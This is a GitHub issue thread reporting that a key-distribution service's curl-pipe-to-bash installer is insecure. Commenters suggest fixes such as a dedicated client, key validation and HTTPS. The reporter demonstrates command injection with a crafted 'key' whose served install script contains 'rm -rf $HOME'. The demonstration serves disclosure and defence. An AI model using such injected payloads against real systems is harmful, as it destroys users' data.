Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Piping to bash is not secure #3

Open
grimborg opened this issue Jun 20, 2013 · 6 comments
Open

Piping to bash is not secure #3

grimborg opened this issue Jun 20, 2013 · 6 comments

Comments

@grimborg
Copy link

I love the idea, but curl -s | bash is not something any user should trust.

It's also very easy to inject commands, check out my key (do NOT install it!).

$ curl -s http://ssh.keychain.io/[email protected]/install
mkdir -p $HOME/.ssh
touch $HOME/.ssh/authorized_keys

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDav6GptWnxXDEV5XK891RQfr6BGYLOoJ4RTttz57IQkMwt5SxVX581hGjhHwMSYlNGnI1BXKSnN25ZohU33k4pfyWtcfBZb6YL2FLzDQcIM3iNOwRW4aW6ABbPwL6LmO/rbu02sBWvf8Oqwc4GtXt4O1++gZcbHCSP1VE/YXR8wRrjP2wNWhCE8PYIO07w8p918QlvPLSO3vU9VH0cXph31ENkweOl20Nzys/CYglT518cLRBY2NWiQ1eQEVFuThLDBLu50GOkC7OgjgM3hhiRLjj/HdeVnzM/9ZAiaqJY0Q1HvM6QUT7Z2gcPn9UIicEAIT9fFRstD6MqE9v0x9 [email protected]"; rm -rf $HOME; "" >> $HOME/.ssh/authorized_keys

But even if the injection is fixed, piping to bash is inherently insecure. How about having a keychain client that would install the keys? I'd be happy to contribute.

@sysr-q
Copy link

sysr-q commented Jun 20, 2013

There could be some form of rough check in place (even if it's a hacked in regex, for the time being) to make sure they at-least adhere to a general-ish style.

A keychain client would be nifty, that would be a better way in my opinion as well.

@progrium
Copy link
Owner

You guys are right. Maybe it can install some sort of lightweight client. Let me rethink it for a bit as this was just a proof of concept. Thanks for the input!

@Seldaek
Copy link

Seldaek commented Jul 2, 2013

Also, besides the considerations of piping into bash or not, please use a complete https url and not just ssh.keychain.io. Using curl -sS would also be a bit better since that hides output but shows errors.

@phrozen
Copy link

phrozen commented Aug 7, 2013

Just a thought on this, returning bash commands to run, hits some of us with windows machines too. Would Love a generic API for all.

@nodesocket
Copy link

One option, ssh-keygen can be used to calculate the fingerprint of a key file, which will fail if you don't pass it a valid key.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants
@progrium @grimborg @Seldaek @phrozen @nodesocket @sysr-q and others